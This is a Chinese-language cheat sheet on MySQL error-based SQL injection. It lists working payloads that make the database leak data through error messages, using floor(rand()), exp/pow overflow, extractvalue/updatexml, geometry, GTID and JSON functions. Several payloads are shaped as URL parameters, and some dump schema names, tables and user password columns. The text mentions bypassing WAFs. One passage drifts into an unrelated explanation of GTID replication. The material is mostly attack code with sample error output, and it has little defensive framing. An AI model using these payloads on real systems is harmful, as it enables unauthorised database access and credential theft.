利用error-based进行sql注入 发现可用于error-based SQL注入函数越多,给绕过WAF添加了很多机会

报措注入可以在没有办法使用union联合查询的时候使用,但前提是函数不能被过滤 报措注入就是利用了数据库的某些机制,人为的制造了错误条件,使得查询结果能够出现在错误信息中

image.png

构造payload让信息通过错误提示回显出来

  1. select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;

image.png

floor

floor(x) 返回小于或者大于x的最大整数

image.png

  1. select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;
  2. -- 简化
  3. select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));
  4. -- 关键表被禁用了
  5. select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))
  6. --如果rand被禁用了可以使用用户变量来报措
  7. select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)

image.png

image.png

  1. 爆库
  2. select 1 from ( select count(*),(concat((select schema_name from information_schema.schemata limit
  3. 0,1),’|’,floor(rand(0)*2)))x from information_schema.tables group by x )a;
  4. http://www.hackblog.cn/sql.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct
  5. concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit
  6. 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
  7. 爆表
  8. select 1 from (select count(*),(concat((select table_name from information_schema.tables where
  9. table_schema=database() limit 0,1),’|’,floor(rand(0)*2)))x from information_schema.tables group by x)a;
  10. 爆字段
  11. select 1 from (select count(*),(concat((select column_name from information_schema.columns where
  12. table_schema=database() and table_name=‘users limit 0,1),’|’,floor(rand(0)*2)))x from information_schema.tables
  13. group by x)a;
  14. 爆数据
  15. select 1 from (select count(*),(concat((select concat(name,’|’,passwd,’|’,birth) from users limit
  16. 0,1),’|’,floor(rand(0)*2)))x from information_schema.tables group by x)a;
  17. select 1 from(select count(*),concat((select (select (SELECT concat(0x23,name,0x3a,passwd,0x23) FROM users limit
  18. 0,1)) from information_schema.tables limit 3,1),floor(rand(0)*2))x from information_schema.tables group by x)a

几何函数

  1. GeometryCollectionid=1 AND GeometryCollection((select * from (select* from(select user())a)b))
  2. polygon():id=1 AND polygon((select * from(select * from(select user())a)b))
  3. multipoint():id=1 AND multipoint((select * from(select * from(select user())a)b))
  4. multilinestring():id=1 AND multilinestring((select * from(select * from(select user())a)b))
  5. linestring():id=1 AND LINESTRING((select * from(select * from(select user())a)b))
  6. multipolygon() id=1 AND multipolygon((select * from(select * from(select user())a)b))

不存在函数

  1. select a();
  2. --低版本可以爆出数据库

name_const()

  1. -- 仅可取数据库版本信息
  2. select * from(select name_const(version(),0x1),name_const(version(),0x1))a;

image.png

uuid相关函数

  1. --适用版本:8.0.x
  2. SELECT UUID_TO_BIN((SELECT password FROM users WHERE id=1));
  3. SELECT BIN_TO_UUID((SELECT password FROM users WHERE id=1));

exp()

exp(int) 返回e的x次方 适用版本:版本在5.5.5-5.5.49

  1. select exp(~(select * FROM(SELECT USER())a));
  2. --其中,~符号为运算符,意思为一元字符反转,通常将字符串经过处理后变成大整数,再放到exp 数内,得到的结果将超过mysqldouble数组范围,从而报错输出。除了exp()之外,还有类似pow()之类的相似函数同样是可利用的,他们的原理相同。
  3. --double 数值类型超出范围
  4. --Exp()为以e 为底的对数函数;
  5. --ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
  6. --如果是在适用版本之外:虽然也会报错,但是表名不会出来
  7. select !(select * from(select user())a)-~0;

exp,cot,pow,abs等可以报措

  1. select abs(99999e9999999); #可使用在报错的布尔盲注中
  2. ERROR 1367 (22007): Illegal double '99999e9999999' value found during parsing
  3. select pow(1+(1=1),999999999999);mysql> select pow(1+(1=1),999999999999);
  4. ERROR 1690 (22003): DOUBLE value is out of range in 'pow((1 + (1 = 1)),999999999999)'
  5. mysql> select pow(1+(1=0),999999999999);
  6. +---------------------------+
  7. | pow(1+(1=0),999999999999) |
  8. +---------------------------+
  9. | 1 |
  10. +---------------------------+
  11. 1 row in set (0.00 sec)
  12. /*
  13. 通过这种写法,可以实现报错注入
  14. select pow(1+(表达式),999999999999)
  15. 表达式可以是盲注的形式,返回1或者0,通过报错将字符才出来
  16. 其他函数用法类似
  17. */
  18. exp临界值709
  19. exp(709+(1=0))

exp文章

  1. extractvalue(1,concat(0x7e,(select @@version),0x7e)) --mysql xml 数据进行查询和修改的xpath 函数,xpath 语法错误
  1. updatexml(1,concat(0x7e,(select @@version),0x7e),1) --mysql xml 数据进行查询和修改的xpath 函数,xpath 语法错误
  1. select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x; --mysql 重复特性,此处重复了version,所以报错。

join using() 注列名

通过系统关键词join可建立两个表之间的内连接
通过对想要查询列名的表与其自身建立内连接,会由于沉余的原因(相同列名存在),而发生错误
并且报措信息会存在重复的列名,可以使用USING表达式声明内连接(INNER JOIN)条件来避免错误

  1. select * from(select * from users a join (select * from users)b)c;
  2. select * from(select * from users a join (select * from users)b using(username))c;
  3. select * from(select * from users a join (select * from users)b
  4. using(username,password))c

GTID相关函数

从MySQL 5.6.5 开始新增了一种基于GTID 的复制方式。通过GTID 保证了每个在主库上提交的事务在集群中有一个唯一的ID。这种方式强化了数据库的主备一致性,故障恢复以及容错能力。 GTID (Global Transaction ID)是全局事务ID,当在主库上提交事务或者被从库应用时,可以定位和追踪每一个事务,对DBA来说意义就很大了,我们可以适当的解放出来,不用手工去可以找偏移量的值了,而是通过CHANGE MASTER TO MASTER_HOST=’xxx’, MASTER_AUTO_POSITION=1的即可方便的搭建从库,在故障修复中也可以采用MASTER_AUTO_POSITION=‘X’的方式。 可能大多数人第一次听到GTID的时候会感觉有些突兀,但是从架构设计的角度,GTID是一种很好的分布式ID实践方式,通常来说,分布式ID有两个基本要求:

  1. 全局唯一性
  2. 趋势递增

这个ID因为是全局唯一,所以在分布式环境中很容易识别,因为趋势递增,所以ID是具有相应的趋势规律,在必要的时候方便进行顺序提取,行业内适用较多的是基于Twitter的ID生成算法snowflake,所以换一个角度来理解GTID,其实是一种优雅的分布式设计。

  1. select gtid_subset(user(),1);
  2. select gtid_subset(hex(substr((select * from users limit
  3. 1,1),1,1)),1);
  4. select gtid_subtract((select * from(select user())a),1);

Mysql高版本Json函数报错

从Mysql 5.7.8开始支持由RFC 7159 JSON定义的本机数据类型,可以有效的访问JSON(JavaScriprt Object Notation)文档中的数据

  1. id=1' and json_type(version()) %23
  1. JSON_TYPE(version())
  2. //此函数获取JSON值的类型,当我们传入的值不属于json格式则报错

image.png

  1. JSON_EXTRACT(json_doc, path[, path] ...)
  2. //此函数从JSON文档中返回数据,从与path参数匹配的文档部分中选择
  3. //当第一个参数不是json类型的值则报错
  4. JSON_EXTRACT(version(), '$[1]')
  5. JSON_EXTRACT((select user()),'$.a')
  6. 当第二个参数不是指定格式的字符时候也报错
  7. json_extract('[1]',user());
  8. json_extract('{"a":1,"a":2}',user())

image.png

image.png

  1. JSON_ARRAY_APPEND(json_doc, path, val[, path, val] ...)
  2. //将值附加到 JSON 文档中指定数组的末尾并返回结果,报错输出原理和json_extract函数相同。
  3. select JSON_ARRAY_APPEND(user(),1,1);
  4. select JSON_ARRAY_APPEND('[1,2]',user(),1);

image.png

  1. ?id=1' and JSON_ARRAY_APPEND('[1,2]',(select group_concat(table_name) from information_schema.tables where table_schema=database()),1)%23
  2. ?id=1' and JSON_ARRAY_APPEND('[1,2]',(select group_concat(id,'::',username,'::',password,'~') from users),1)%23